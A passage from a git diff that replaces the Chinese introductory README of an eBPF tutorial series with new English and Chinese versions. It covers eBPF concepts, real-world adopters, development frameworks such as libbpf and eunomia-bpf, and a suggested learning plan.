被广泛用于各类场景:在现代数据中心和云原生环境中,可以提供高性能的网络包处理和负载均衡;以非常低的资源开销,做到对多种细粒度指标的可观测性,帮助应用程序开发人员跟踪应用程序,为性能故障排除提供洞察力;保障应用程序和容器运行时的安全执行,等等。可能性是无穷的,而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。 - -### eBPF 的未来:内核的 JavaScript 可编程接口 - -对于浏览器而言,JavaScript 的引入带来的可编程性开启了一场巨大的革命,使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF:为了理解 eBPF 对 Linux 内核的可编程性影响,对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 - -![kernel-arch](kernel-arch.png) - -Linux 内核的主要目的是抽象出硬件或虚拟硬件,并提供一个一致的 API(系统调用),允许应用程序运行和共享资源。为了实现这个目的,我们维护了一系列子系统和层,以分配这些责任[5]。每个子系统通常允许某种程度的配置,以考虑到用户的不同需求。如果不能配置所需的行为,就需要改变内核,从历史上看,改变内核的行为,或者让用户编写的程序能够在内核中运行,就有两种选择: - -| 本地支持内核模块 | 写一个内核模块 | -| ----------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | -| 改变内核源代码,并说服Linux内核社区相信这种改变是必要的。等待几年,让新的内核版本成为一种商品。 | 定期修复它,因为每个内核版本都可能破坏它。由于缺乏安全边界,冒着破坏你的Linux内核的风险 | - -实际上,两种方案都不常用,前者成本太高,后者则几乎没有可移植性。 - -有了 eBPF,就有了一个新的选择,可以重新编程 Linux 内核的行为,而不需要改变内核的源代码或加载内核模块,同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的,eBPF 程序也需要有一套对应的 API,允许用户定义的应用程序运行和共享资源 --- 换句话说,某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制,借助 eBPF 和用户态通信的机制,Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权,一方面能可编程地扩展传统的系统调用的能力,另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 - -![new-os](new-os-model.png) - -正如上图所示,当今的 Linux 内核正在向一个新的内核模型演化:用户定义的应用程序可以在内核态和用户态同时执行,用户态通过传统的系统调用访问系统资源,内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初,内核中的 eBPF 虚拟机中已经有 220 多个 Helper 系统接口,涵盖了非常多的应用场景。 - -值得注意的是,BPF Helper Call 和系统调用二者并不是竞争关系,它们的编程模型和有性能优势的场景完全不同,也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说,情况也类似,专门设计的 Wasi 接口需要经历一个漫长的标准化过程,但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证,而 eBPF 在保证沙箱本质和可移植性的前提下,可以提供一个快速灵活的扩展系统接口的方案。 - -目前的 eBPF 仍然处于早期阶段,但是借助当前 eBPF 提供的内核接口和用户态交互的能力,经由 Wasm-bpf 的系统接口转换,Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值(kprobe,uprobe...);以很低的代价收集和理解所有系统调用,并获取所有网络操作的数据包和套接字级别的数据(tracepoint,socket...);在网络包处理解决方案中添加额外的协议分析器,并轻松地编程任何转发逻辑(XDP,TC...),以满足不断变化的需求,而无需离开Linux内核的数据包处理环境。 - -不仅如此,eBPF 还有能力往用户空间任意进程的任意地址写入数据(bpf_probe_write_user[7]),有限度地修改内核函数的返回值(bpf_override_return[8]),甚至在内核态直接执行某些系统调用[9];所幸的是,eBPF 在加载进内核之前对字节码会进行严格的安全检查,确保没有内存越界等操作,同时,许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的;在 Wasm 虚拟机将字节码加载进内核之前,也可以明确选择启用或者禁用某些 eBPF 功能,以确保沙箱的安全性。 - -除了内核态的 eBPF 运行时,eBPF 也可以拓展到用户空间,例如 [bpftime](https://github.com/eunomia-bpf/bpftime),实现更高性能的用户态追踪、性能分析、插件等等。 - -## 2. 关于如何学习 eBPF 相关的开发的一些建议 - -本文不会对 eBPF 的原理做更详细的介绍,不过这里有一个学习规划和参考资料,也许会有一些价值: - -### eBPF 入门(5-7h) - -- Google 或者其他搜索引擎查找:eBPF -- 询问 ChatGPT 之类的东西:eBPF 是什么? - -推荐: - -- 阅读 ebpf 简介: (30min) -- 简要了解一下 ebpf 内核相关文档: (知道有问题去哪里查询,30min) -- 阅读 ebpf 中文入门指南: (1h) -- 有大量的参考资料: (2-3h) -- 可以选自己感兴趣的 PPT 翻一翻: (1-2h) - -回答三个问题: - -1. 了解 eBPF 是什么东西?为啥要有这个玩意,不能用内核模块? -2. 它有什么功能?能在 Linux 内核里面完成哪些事情?有哪些 eBPF 程序的类型和 helper(不需要知道全部,但是需要知道去哪里找)? -3. 能拿来做什么?比如说在哪些场景中进行运用?网络、安全、可观测性? - -### 了解如何开发 eBPF 程序(10-15h) - -了解并尝试一下 eBPF 开发框架: - -- bpftrace 教程,对于最简单的应用来说,bpftrace 可能是最方便的:https://eunomia.dev/zh/tutorials/bpftrace-tutorial/ (试试,1h) -- BCC 开发各类小工具的例子: (跑一遍,3-4h) -- libbpf 的一些例子: (选感兴趣的运行一下,并阅读一下源代码,2h) -- 基于 libbpf 和 eunomia-bpf 的教程: (阅读 1-10 的部分,3-4h) - -其他开发框架:Go 语言或者 Rust 语言,请自行搜索并且尝试(0-2h) - -有任何问题或者想了解的东西,不管是不是和本项目相关,都可以在本项目的 discussions 里面开始讨论。 - -回答一些问题,并且进行一些尝试(2-5h): - -1. 如何开发一个最简单的 eBPF 程序? -2. 如何用 eBPF 追踪一个内核功能或函数?有很多种方法,举出对应的代码; -3. 有哪些方案能通过用户态和内核态通信?如何从用户态向内核态传送信息?如何从内核态向用户态传递信息?举出代码示例; -4. 编写一个你自己的 eBPF 程序,实现一个功能; -5. eBPF 程序的整个生命周期里面,分别在用户态和内核态做了哪些事情? - -## 3. 如何使用 eBPF 编程 - -原始的 eBPF 程序编写是非常繁琐和困难的。为了改变这一现状,llvm 于 2015 年推出了可以将由高级语言编写的代码编译为 eBPF 字节码的功能,同时,eBPF 社区将 `bpf()` 等原始的系统调用进行了初步地封装,给出了 `libbpf` 库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在 Linux 的源码包的 `samples/bpf/` 目录下,有大量 Linux 提供的基于 `libbpf` 的 eBPF 样例代码。 - -一个典型的基于 `libbpf` 的 eBPF 程序具有 `*_kern.c` 和 `*_user.c` 两个文件,`*_kern.c` 中书写在内核中的挂载点以及处理函数,`*_user.c` 中书写用户态代码,完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考[该视频](https://www.bilibili.com/video/BV1f54y1h74r?spm_id_from=333.999.0.0)。然而由于该方法仍然较难理解且入门存在一定的难度,因此现阶段的eBPF程序开发大多基于一些工具,比如: - -- BCC -- BPFtrace -- libbpf-bootstrap -- Go eBPF library - -以及还有比较新的工具,例如 `eunomia-bpf`. - -## 编写 eBPF 程序 - -eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑,用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具,只需编写内核态部分的代码。 - -内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成,每个函数都有其特定的作用。可以使用的函数类型包括: - -- kprobe:插探函数,在指定的内核函数前或后执行。 -- tracepoint:跟踪点函数,在指定的内核跟踪点处执行。 -- raw_tracepoint:原始跟踪点函数,在指定的内核原始跟踪点处执行。 -- xdp:网络数据处理函数,拦截和处理网络数据包。 -- perf_event:性能事件函数,用于处理内核性能事件。 -- kretprobe:函数返回插探函数,在指定的内核函数返回时执行。 -- tracepoint_return:跟踪点函数返回,在指定的内核跟踪点返回时执行。 -- raw_tracepoint_return:原始跟踪点函数返回,在指定的内核原始跟踪 - -### BCC - -BCC 全称为 BPF Compiler Collection,该项目是一个 python 库, -包含了完整的编写、编译、和加载 BPF 程序的工具链,以及用于调试和诊断性能问题的工具。 - -自 2015 年发布以来,BCC 经过上百位贡献者地不断完善后,目前已经包含了大量随时可用的跟踪工具。[其官方项目库](https://github.com/iovisor/bcc/blob/master/docs/tutorial.md) -提供了一个方便上手的教程,用户可以快速地根据教程完成 BCC 入门工作。 - -用户可以在 BCC 上使用 Python、Lua 等高级语言进行编程。 -相较于使用 C 语言直接编程,这些高级语言具有极大的便捷性,用户只需要使用 C 来设计内核中的 -BPF 程序,其余包括编译、解析、加载等工作在内,均可由 BCC 完成。 - -然而使用 BCC 存在一个缺点便是在于其兼容性并不好。基于 BCC 的 -eBPF 程序每次执行时候都需要进行编译,编译则需要用户配置相关的头文件和对应实现。在实际应用中, -相信大家也会有体会,编译依赖问题是一个很棘手的问题。也正是因此,在本项目的开发中我们放弃了 BCC, -选择了可以做到一次编译-多次运行的 libbpf-bootstrap 工具。 - -### eBPF Go library - -eBPF Go 库提供了一个通用的 eBPF 库,它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理,并实现了类似 libbpf 一样的 CO- 功能。eBPF 程序通常是通过编写高级语言创建的,然后使用 clang/LLVM 编译器编译为 eBPF 字节码。 - -### libbpf - -`libbpf-bootstrap` 是一个基于 `libbpf` 库的 BPF 开发脚手架,从其 -[github](https://github.com/libbpf/libbpf-bootstrap) 上可以得到其源码。 - -`libbpf-bootstrap` 综合了 BPF 社区过去多年的实践,为开发者提了一个现代化的、便捷的工作流,实 -现了一次编译,重复使用的目的。 - -基于 `libbpf-bootstrap` 的 BPF 程序对于源文件有一定的命名规则, -用于生成内核态字节码的 bpf 文件以 `.bpf.c` 结尾,用户态加载字节码的文件以 `.c` 结尾,且这两个文件的 -前缀必须相同。 - -基于 `libbpf-bootstrap` 的 BPF 程序在编译时会先将 `*.bpf.c` 文件编译为 -对应的 `.o` 文件,然后根据此文件生成 `skeleton` 文件,即 `*.skel.h`,这个文件会包含内核态中定义的一些 -数据结构,以及用于装载内核态代码的关键函数。在用户态代码 `include` 此文件之后调用对应的装载函数即可将 -字节码装载到内核中。同样的,`libbpf-bootstrap` 也有非常完备的入门教程,用户可以在[该处](https://nakryiko.com/posts/libbpf-bootstrap/) -得到详细的入门操作介绍。 - -### eunomia-bpf - -开发、构建和分发 eBPF 一直以来都是一个高门槛的工作,使用 BCC、bpftrace 等工具开发效率高、可移植性好,但是分发部署时需要安装 LLVM、Clang 等编译环境,每次运行的时候执行本地或远程编译过程,资源消耗较大;使用原生的 CO-RE libbpf 时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息,同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 - -[eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) 是一个开源的 eBPF 动态加载运行时和开发工具链,是为了简化 eBPF 程序的开发、构建、分发、运行而设计的,基于 libbpf 的 CO-RE 轻量级开发框架。 - -使用 eunomia-bpf ,可以: - -- 在编写 eBPF 程序或工具时只编写内核态代码,自动获取内核态导出信息,并作为模块动态加载; -- 使用 WASM 进行用户态交互程序的开发,在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行,以及处理相关数据; -- eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块,跨架构和内核版本进行分发,无需重新编译即可动态加载运行。 - -eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架,大幅简化了 eBPF 程序的开发流程,在大多数时候只需编写内核态代码,即可轻松构建、打包、发布完整的 eBPF 应用,同时内核态 eBPF 代码保证和主流的 libbpf,libbpfgo,libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候,也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 - -> - eunomia-bpf 项目 Github 地址: -> - gitee 镜像: - -## 参考资料 - -- eBPF 介绍: -- BPF Compiler Collection (BCC): -- eunomia-bpf: - -您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。 - -> 原文地址: 转载请注明 +# eBPF Tutorial by Example 0: Introduction to Core Concepts and Tools + +This is the first part of a comprehensive development tutorial for eBPF, designed to guide you through practical eBPF development, from beginner to advanced. It covers fundamental concepts, real-world code examples, and applications in modern systems. Rather than focusing on traditional tools like BCC, we will use modern frameworks such as `libbpf`, `Cilium`, `libbpf-rs`, and eunomia-bpf, with examples provided in `C`, `Go`, and `Rust`. + +The primary goal of this tutorial is to provide clear and concise examples of eBPF tools (starting with as little as 20 lines of code!) to help developers quickly grasp essential eBPF development techniques. Each example is self-contained and can be found in the directory structure, with every directory representing an independent eBPF tool. You can also visit our tutorial code repository or website for more examples and complete tutorial source code. + +## Introduction to eBPF: Secure and Efficient Kernel Extension + +eBPF (extended Berkeley Packet Filter) is a groundbreaking technology that allows developers to run small programs directly in kernel space, safely and efficiently. Unlike traditional approaches that required modifying kernel source code or loading new modules, eBPF made it possible to customize and optimize network behavior dynamically, all without disrupting system operations. This flexibility and efficiency made eBPF a pivotal technology for overcoming the limitations of traditional networking stacks. + +### What Makes eBPF So Powerful? + +- **Direct Kernel Interaction:** eBPF programs execute within the kernel, interacting with system-level events such as network packets, system calls, or tracepoints. +- **Safe Execution:** eBPF ensures safety through a verifier that checks the logic of the program before it runs, preventing potential kernel crashes or security breaches. +- **Minimal Overhead:** eBPF achieves near-native execution speed by employing a Just-In-Time (JIT) compiler, which translates eBPF bytecode into optimized machine code for the specific architecture. + +## eBPF: Past, Present, and Future + +### Past: Programmable Networking Transformed + +When eBPF was introduced in 2014, it revolutionized how developers approached networking by allowing small, programmable kernel-space applications to handle packet processing in real time. By hooking into key kernel points, eBPF enabled custom logic to be applied whenever a network packet arrived, leading to higher efficiency and flexibility. This allowed organizations to tailor networking behavior without the overhead of custom drivers or kernel modifications, creating an ideal solution for cloud-native and data-center environments. +### Present: A Versatile Framework for Modern Computing Needs + +eBPF has evolved into a versatile framework that extends beyond its original purpose of networking, now encompassing observability, tracing, security, and even system resource management. eBPF programs can dynamically hook into kernel events, giving developers precise control over system behavior and performance optimization without requiring kernel modifications or reboots. This makes eBPF an essential tool for system administrators and developers who aim to monitor, optimize, and secure their environments. + +Here are some key areas where eBPF is widely used today: + +- **Networking:** eBPF offers real-time, high-speed packet filtering and processing within the kernel, allowing for the creation of custom protocol parsers and network policies without needing new drivers or system restarts. This enables highly efficient network management in cloud and data center environments. + +- **Observability:** eBPF enables developers to gather detailed insights into system behavior by collecting custom metrics and performing in-kernel data aggregation. By tapping into kernel tracepoints and function calls, eBPF helps identify performance issues and track down elusive bugs. + +- **Tracing & Profiling:** eBPF provides powerful tracing and profiling capabilities by attaching to kernel functions, tracepoints, and even user-space probes. This allows developers to gain deep insights into system and application behavior, enabling them to optimize performance and resolve complex system issues. + +- **Security:** eBPF plays a vital role in real-time security monitoring. It enables deep inspection of system calls, network traffic, and other kernel activities, helping to enforce dynamic security policies and detect anomalous behavior, providing an efficient way to safeguard infrastructure. + +- **Scheduler Optimization:** Since Linux kernel 6.12, eBPF-powered CPU schedulers (sched_ext) are now mainline, allowing custom scheduling policies to be implemented as BPF programs. This enables runtime-customizable scheduling that can optimize for different workloads without kernel modifications, and is already deployed on over 1 million machines in production. + +- **HID (Human Interface Device) Driver Enhancements:** Developers use eBPF to optimize HID drivers for devices like keyboards, mice, and touchscreens. By adding custom logic for handling input events, eBPF improves responsiveness in latency-sensitive applications. + +Organizations across industries have adopted eBPF at scale: + +- **Google:** Uses eBPF for security auditing, packet processing, real-time performance monitoring, and is actively testing eBPF-based CPU schedulers across its vast infrastructure. +- **Netflix:** Leverages eBPF for network traffic analysis, ensuring high availability and performance for streaming services. +- **Android:** Every Android phone uses eBPF to optimize network usage, power consumption, and resource allocation, improving performance and battery life across billions of devices worldwide. +- **Meta:** Runs eBPF-based schedulers in production (over 1 million machines with scx_layered) alongside its network load balancing (Katran). +- **S&P Global:** Utilizes eBPF through **Cilium** for managing networking across multiple clouds and on-premises systems, ensuring scalability and security. +- **Shopify:** Implements eBPF with **Falco** for intrusion detection, bolstering security on its e-commerce platform. +- **Cloudflare:** Uses eBPF for network observability, security monitoring, and performance optimization, protecting millions of websites globally. + +eBPF's ability to dynamically adjust system behavior and extend into user space makes it an essential technology for modern computing. Whether it's optimizing network traffic, improving security, or enhancing system performance, eBPF enables developers to address real-time requirements efficiently and safely. + +In addition to its kernel-mode runtime, eBPF can also be extended beyond the kernel. For example, [bpftime](https://github.com/eunomia-bpf/bpftime) is a user-space eBPF runtime that allows for higher-performance tracing (10x faster than kernel uprobes), performance analysis, and plugin support in user-space applications without requiring manual recompilation or process restarts. eBPF programs can now even be offloaded to GPUs through bpftime integration, enabling dynamic instrumentation of GPU kernels with low overhead. This extension of eBPF beyond kernel space helps improve flexibility and performance across CPU, user-space, and GPU workloads. + +### Future: The Expanding Potential of eBPF + +Looking forward, eBPF is expected to become an even more integral part of operating systems. The focus is on improving its flexibility, modularity, and ease of use, making it accessible for an even broader range of applications. Innovations in memory management, concurrency mechanisms, and better integration with user-space applications are on the horizon. Projects are already underway to compile significant parts of the Linux kernel to the BPF instruction set, potentially revolutionizing how kernel development and analysis are performed. + +Advancements such as dynamic stacks, better observability tools for user space (e.g., Fast Uprobes and language-specific stack walkers), and safer program termination mechanisms will continue to strengthen eBPF’s reliability and expand its use cases. Additionally, new tools and libraries will simplify eBPF development, lowering the barrier to entry for both kernel and application developers. + +## Getting Started with the Tutorial + +This tutorial provides practical eBPF development practices, covering topics from beginner to advanced levels. We focus on hands-on examples in areas like observability, networking, and security, using frameworks like `libbpf`, `libbpf-rs`, and `eunomia-bpf`, with examples in C, Go, and Rust. + +### Who Is This Tutorial For? + +This tutorial is designed for developers who want to build custom kernel solutions, system administrators looking to enhance performance and security, and tech enthusiasts exploring cutting-edge kernel technologies. Whether you're debugging production issues or building the next generation of observability tools, this guide will help you get started with eBPF. + +### What Will You Learn? + +You'll learn eBPF fundamentals and how they integrate with the Linux kernel. We'll cover practical skills for writing and deploying eBPF programs, from simple "Hello World" examples to advanced topics like security monitoring, tracing, and performance profiling. By the end, you'll be able to write your own eBPF tools and understand how to apply them to real-world problems. + +### Prerequisites + +Before starting, make sure you have a Linux system with kernel version 4.8 or higher (we recommend 5.15+ or 6.9+ for full feature support, including BPF arena and tokens). You'll need basic C programming knowledge and familiarity with system concepts like processes and system calls. Most examples require root or sudo privileges to run. You should also install development tools like clang, llvm, and libelf-dev on your system. + +--- + +## Table of Contents + +1. **Introduction to eBPF** + Basic concepts and the tools you need to get started. + +2. **Beginner Examples** + Simple programs such as "Hello World" and basic tracing using kprobe and uprobe. + +3. **Observability** + Examples focused on monitoring network traffic, file operations, and process behavior using eBPF. + +4. **Networking** + Examples focused on modifying and optimizing network traffic, such as XDP, TC, and socket. + +5. **Security** + Programs for hiding process and files, sending signals to kill process, and tracking process events for security. + +6. **Advanced Use Cases** + Complex examples involving performance profiling, scheduler optimization, and eBPF in user space (e.g., bpftime). + +7. **In-Depth Topics** + Exploring eBPF for Android, using eBPF for network acceleration, and securing systems through syscall modifications. + +## How to Use eBPF Programming + +Writing eBPF programs from scratch can be complex. To simplify this, LLVM introduced the ability to compile high-level language code into eBPF bytecode in 2015. The eBPF community has since built libraries like `libbpf` to manage these programs. These libraries help load eBPF bytecode into the kernel and perform essential tasks. The Linux kernel source contains numerous eBPF examples in the `samples/bpf/` directory. + +A typical eBPF program involves two parts: kernel space code (`*_kern.c`) and user space code (`*_user.c`). The kernel space code defines the logic, while the user space code manages loading and interacting with the kernel. However, tools like `libbpf-bootstrap` and the Go eBPF library help simplify this process, allowing for one-time compilation and easier development. + +### Tools for eBPF Development + +- **BCC**: A Python-based toolchain that simplifies writing, compiling, and loading eBPF programs. It offers many pre-built tracing tools but has limitations with dependencies and compatibility. +- **eBPF Go Library**: A Go library that decouples the process of obtaining eBPF bytecode from the loading and management of eBPF programs. +- **libbpf-bootstrap**: A modern scaffold based on `libbpf` that provides an efficient workflow for writing eBPF programs, offering a simple one-time compilation process for reusable bytecode. +- **eunomia-bpf**: A toolchain for writing eBPF programs with only kernel space code. It simplifies the development of eBPF programs by dynamically loading them. + +These tools help reduce the complexity of developing eBPF programs, making the process more accessible to developers aiming to optimize system performance, security, and observability. + +## Some Tips on Learning eBPF Development + +This article will not provide a more detailed introduction to the principles of eBPF, but here is a learning plan and reference materials that may be of value: + +### Introduction to eBPF (5-7h) + +- Google or other search engines: eBPF +- Ask ChatGPT-like things: What is eBPF? + +Recommended: + +- Read the introduction to ebpf: (30min) +- Briefly understand the ebpf kernel-related documentation: (Know where to queries for tech details, 30min) + +Answer three questions: + +1. Understand what eBPF is? Why do we need it? Can't we use kernel modules? +2. What functions does it have? What can it do in the Linux kernel? What are the types of eBPF programs and helpers (not all of them need to be known, but need to know where to find them)? +3. What can it be used for? For example, in which scenarios can it be used? Networking, security, observability? + +### Understand how to develop eBPF programs (10-15h) + +Understand and try eBPF development frameworks: + +- bpftrace tutorial: (Try it,1h) +- Examples of developing various tools with BCC: (Run through, 3-4h) +- Some examples of libbpf: (Run any interesting one and read the source code, 2h) +- Tutorials: (Read part 1-10, 3-4h) + +Other development frameworks: Go or Rust language, please search and try on your own (0-2h) + +Have questions or things you want to know, whether or not they are related to this project, you can start discussing in the discussions of this project. + +Answer some questions and try some experiments (2-5h): + +1. How to develop the simplest eBPF program? +2. How to trace a kernel feature or function with eBPF? There are many ways, provide corresponding code examples; How to write a XDP network function or write a scheduler? +3. What are the solutions for communication between user mode and kernel mode? How to send information from user mode to kernel mode? How to pass information from kernel mode to user mode? Provide code examples; +4. Write your own eBPF program to implement a feature; +5. In the entire lifecycle of an eBPF program, what does it do in user mode and kernel mode? + +## References + +- eBPF Introduction: +- BPF Compiler Collection (BCC): +- eunomia-bpf: + +You can also visit our tutorial code repository or website for more examples and complete tutorial source code. All content is open source. We will continue to share more content about eBPF development practices to help you better understand and master eBPF technology.". diff --git a/src/0-introduce/README.zh.md b/src/0-introduce/README.zh.md new file mode 100644 index 00000000..b50a24f1 --- /dev/null +++ b/src/0-introduce/README.zh.md @@ -0,0 +1,174 @@ +# eBPF 示例教程 0:核心概念与工具简介 + +这是一个全面的 eBPF 开发教程的第一部分,旨在通过实用的 eBPF 开发指导您从初学者到高级用户。它涵盖了基本概念、实际代码示例以及在现代系统中的应用。我们将不再专注于传统工具如 BCC,而是使用现代框架如 `libbpf`、`Cilium`、`libbpf-rs` 和 eunomia-bpf,并提供 `C`、`Go` 和 `Rust` 的示例。 + +本教程的主要目标是提供清晰简洁的 eBPF 工具示例(起步只需 20 行代码!),帮助开发者快速掌握基本的 eBPF 开发技术。每个示例都是独立的,可以在目录结构中找到,每个目录代表一个独立的 eBPF 工具。您还可以访问我们的教程代码仓库 或网站 获取更多示例和完整的教程源代码。 + +## eBPF 简介:安全高效的内核扩展 + +eBPF(扩展的 Berkeley Packet Filter)是一项突破性的技术,允许开发者在内核空间中安全高效地运行小型程序。与传统方法需要修改内核源代码或加载新模块不同,eBPF 使得动态定制和优化网络行为成为可能,且不会中断系统操作。这种灵活性和高效性使 eBPF 成为克服传统网络栈限制的关键技术。 + +### eBPF 的强大之处是什么? + +- **直接内核交互**:eBPF 程序在内核中执行,与系统级事件如网络包、系统调用或追踪点交互。 +- **安全执行**:eBPF 通过验证器在程序运行前检查其逻辑,防止潜在的内核崩溃或安全漏洞。 +- **最低开销**:eBPF 通过使用即时编译器(JIT),将 eBPF 字节码转换为针对特定架构的优化机器码,实现近原生执行速度。 + +## eBPF:过去、现在与未来 + +### 过去:可编程网络的变革 + +eBPF 于 2014 年推出,彻底改变了开发者处理网络的方式,允许小型可编程内核空间应用程序实时处理数据包。通过钩住关键内核点,eBPF 使得在网络包到达时应用自定义逻辑成为可能,从而提高了效率和灵活性。这使得组织能够在不需要自定义驱动程序或修改内核的情况下定制网络行为,为云原生和数据中心环境创造了理想的解决方案。 + +### 现在:满足现代计算需求的多功能框架 + +eBPF 已发展为一个多功能框架,超越了其最初的网络用途,现在涵盖了可观测性、追踪、安全性,甚至系统资源管理。eBPF 程序可以动态钩住内核事件,赋予开发者精确控制系统行为和性能优化的能力,而无需修改内核或重启系统。这使得 eBPF 成为系统管理员和开发者监控、优化和保护环境的必备工具。 + +以下是 eBPF 目前广泛应用的一些关键领域: + +- **网络**:eBPF 提供内核中实时、高速的数据包过滤和处理,允许创建自定义协议解析器和网络策略,无需新驱动程序或系统重启。这在云和数据中心环境中实现了高效的网络管理。 + +- **可观测性**:eBPF 使开发者能够通过收集自定义指标和执行内核级数据聚合来深入了解系统行为。通过利用内核追踪点和函数调用,eBPF 有助于识别性能问题和定位难以发现的错误。 + +- **追踪与分析**:eBPF 提供强大的追踪和分析能力,通过附加到内核函数、追踪点甚至用户空间探针,使开发者能够深入了解系统和应用程序的行为,从而优化性能和解决复杂的系统问题。 + +- **安全**:eBPF 在实时安全监控中发挥重要作用。它能够深入检查系统调用、网络流量和其他内核活动,帮助执行动态安全策略和检测异常行为,为基础设施提供高效的保护。 + +- **调度器优化**:自 Linux 内核 6.12 起,基于 eBPF 的 CPU 调度器(sched_ext)已进入主线,允许将自定义调度策略实现为 BPF 程序。这使得运行时可定制的调度能够针对不同工作负载进行优化,无需修改内核,目前已在超过 100 万台机器上生产部署。 + +- **HID(人机接口设备)驱动增强**:开发者使用 eBPF 优化键盘、鼠标和触摸屏等设备的 HID 驱动程序。通过为处理输入事件添加自定义逻辑,eBPF 提高了对延迟敏感应用的响应速度。 + +各行业组织已大规模采用 eBPF: + +- **Google**:使用 eBPF 进行安全审计、数据包处理、实时性能监控,并正在其庞大基础设施中积极测试基于 eBPF 的 CPU 调度器。 +- **Netflix**:利用 eBPF 进行网络流量分析,确保流媒体服务的高可用性和性能。 +- **Android**:每部 Android 手机都使用 eBPF 优化网络使用、功耗和资源分配,在全球数十亿设备上提升性能和电池寿命。 +- **Meta**:在生产环境中运行基于 eBPF 的调度器(超过 100 万台机器运行 scx_layered),同时还使用网络负载均衡器(Katran)。 +- **S&P Global**:通过 **Cilium** 使用 eBPF 管理跨多个云和本地系统的网络,确保可扩展性和安全性。 +- **Shopify**:与 **Falco** 一起实施 eBPF 进行入侵检测,增强其电子商务平台的安全性。 +- **Cloudflare**:使用 eBPF 进行网络可观测性、安全监控和性能优化,保护全球数百万网站。 + +eBPF 能够动态调整系统行为并扩展到用户空间,使其成为现代计算不可或缺的技术。无论是优化网络流量、提升安全性,还是增强系统性能,eBPF 都能帮助开发者高效、安全地应对实时需求。 + +除了其内核模式运行时,eBPF 还可以扩展到内核之外。例如,[bpftime](https://github.com/eunomia-bpf/bpftime) 是一个用户空间 eBPF 运行时,允许在用户空间应用中进行高性能追踪(比内核 uprobe 快 10 倍)、性能分析和插件支持,且无需手动重新编译或重启进程。通过 bpftime 集成,eBPF 程序现在甚至可以卸载到 GPU,以低开销实现 GPU 内核的动态检测。这种 eBPF 超越内核空间的扩展有助于在 CPU、用户空间和 GPU 工作负载中提高灵活性和性能。 + +### 未来:eBPF 的扩展潜力 + +展望未来,预计 eBPF 将成为操作系统更为重要的一部分。重点将放在提升其灵活性、模块化和易用性上,使其能够应用于更广泛的场景。内存管理、并发机制的创新以及与用户空间应用的更好集成已在路上。已经有项目在编译 Linux 内核的关键部分到 BPF 指令集,这可能彻底改变内核开发和分析的方式。 + +动态栈、更好的用户空间可观测性工具(例如快速 Uprobes 和特定语言的栈行走器)以及更安全的程序终止机制等进展将继续增强 eBPF 的可靠性并扩展其使用场景。此外,新工具和库将简化 eBPF 开发,降低内核和应用开发者的入门门槛。 + +## 开始学习教程 + +本教程提供实用的 eBPF 开发实践,涵盖从初级到高级的主题。我们专注于在可观测性、网络和安全等领域的动手示例,使用 `libbpf`、`libbpf-rs` 和 `eunomia-bpf` 等框架,并提供 C、Go 和 Rust 的示例。 + +### 本教程适合谁? + +- **开发者** 希望实现自定义内核解决方案。 +- **系统管理员** 旨在提升性能和安全性。 +- **技术爱好者** 探索前沿的内核技术。 + +### 你将学到什么? + +- **核心概念**:eBPF 基础知识及其与 Linux 内核的集成。 +- **实用技能**:编写和部署 eBPF 程序。 +- **高级主题**:探索 eBPF 在安全、追踪和未来创新方面的应用。 + +--- + +## 目录 + +1. **eBPF 简介** + 基本概念和入门所需的工具。 + +2. **初学者示例** + 简单的程序,如“Hello World”及使用 kprobe 和 uprobe 进行基础追踪。 + +3. **可观测性** + 侧重于使用 eBPF 监控网络流量、文件操作和进程行为的示例。 + +4. **网络** + 侧重于修改和优化网络流量的示例,如 XDP、TC 和 socket。 + +5. **安全** + 用于隐藏进程和文件、发送信号杀死进程以及跟踪进程事件以增强安全性的程序。 + +6. **高级用例** + 涉及性能分析、调度器优化和用户空间 eBPF(如 bpftime)的复杂示例。 + +7. **深入主题** + 探索 eBPF 在 Android 上的应用、使用 eBPF 进行网络加速以及通过系统调用修改来保护系统。 + +## 如何使用 eBPF 编程 + +从头编写 eBPF 程序可能较为复杂。为简化这一过程,LLVM 于 2015 年引入了将高级语言代码编译为 eBPF 字节码的能力。自那时起,eBPF 社区构建了像 `libbpf` 这样的库来管理这些程序。这些库帮助将 eBPF 字节码加载到内核中并执行基本任务。Linux 内核源代码中 `samples/bpf/` 目录包含了众多 eBPF 示例。 + +典型的 eBPF 程序包含两个部分:内核空间代码(`*_kern.c`)和用户空间代码(`*_user.c`)。内核空间代码定义逻辑,而用户空间代码负责加载和与内核交互。然而,像 `libbpf-bootstrap` 和 Go eBPF 库这样的工具简化了这一过程,允许一次性编译和更容易的开发。 + +### eBPF 